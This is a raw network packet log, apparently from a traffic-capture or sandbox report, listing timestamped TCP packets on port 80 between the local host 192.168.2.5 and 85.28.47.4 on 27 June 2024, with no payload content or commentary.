Jun 27, 2024 19:25:59.383044004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383055925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.383069992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.383079052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383085966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.383099079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383104086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.383124113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.383147001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386008978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386025906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386049032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386065006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386071920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386071920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386080027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386096954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386099100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386099100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386111975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386117935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386130095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386140108 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386146069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386162996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386166096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386166096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386178970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386193037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386193037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386194944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386209965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386215925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386226892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386230946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386244059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386250973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386260033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386276960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386279106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386279106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386295080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386297941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386311054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386317968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386328936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386334896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386344910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386362076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.386364937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386364937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386384964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.386400938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387392998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387408018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387423038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387437105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387450933 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387453079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387469053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387473106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387485027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387495995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387501955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387518883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387520075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387532949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387541056 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387552977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387566090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387566090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387574911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387590885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387609005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.387619972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387619972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387644053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.387662888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.454732895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.454812050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.454868078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.454890966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.454926968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.454961061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455012083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455029011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455043077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455058098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455063105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455096960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455096960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455282927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455332994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455343962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455360889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455375910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455415964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455415964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455415964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455637932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455653906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455671072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.455701113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.455734968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.469788074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.469846010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.469855070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.469871044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.469907045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470068932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470084906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470107079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470123053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470124006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470155001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470155001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470192909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470367908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470392942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470418930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470433950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470444918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470444918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470452070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470468998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470475912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470475912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470484972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.470496893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470524073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.470524073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471077919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471093893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471107960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471122980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471138000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471152067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471153021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471153021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471168041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471178055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471184969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471198082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471209049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471220970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471225023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471242905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471244097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471263885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.471970081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471986055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.471999884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472013950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472028971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472028017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472045898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472050905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472062111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472071886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472086906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472096920 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472105026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472115993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472121954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472141981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472142935 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472161055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472924948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472939968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472960949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472976923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472975969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.472994089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.472996950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473018885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473021030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473021030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473036051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473047018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473052025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473067045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473068953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473087072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473087072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473087072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473103046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473110914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473129988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473150015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.473624945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.473678112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.509951115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.517991066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689512014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689604044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.689635038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689659119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689680099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.689685106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689701080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689706087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.689718962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689726114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.689733982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.689745903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.689764977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.689785004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690006018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690049887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690054893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690073013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690088987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690103054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690133095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690133095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690381050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690397978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690433979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690433979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690517902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690574884 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690618038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690634012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690648079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690663099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690670013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690677881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690692902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690692902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690696001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.690723896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690723896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.690743923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.691257000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.691272974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.691287994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.691309929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.691313028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.691323996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.691339970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.691340923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.691365957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.691392899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692059994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692080975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692095995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692111015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692126036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692126989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692126989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692142010 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692153931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692153931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692161083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692173958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692178011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692194939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692200899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692202091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692212105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692222118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692246914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692248106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692765951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692781925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692795992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692811966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692826033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692826033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692842960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692850113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692858934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692867041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692876101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692886114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692893028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692905903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692918062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.692924976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692945957 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.692965031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693701982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693720102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693733931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693751097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693754911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693766117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693783045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693783045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693783045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693804979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693810940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693810940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693820000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693835974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693837881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693851948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693864107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693870068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693881989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693886995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.693902969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693927050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.693927050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694467068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694483995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694526911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694526911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694576979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694593906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694607973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694622993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694628954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694638014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694648027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694655895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694669008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694670916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694686890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694688082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.694705963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694730043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.694730997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695452929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695468903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695482016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695497036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695513964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695518017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695518017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695528984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:25:59.695540905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:25:59.695540905 CEST	49705	80	192.168.2.5	85.28.47.4
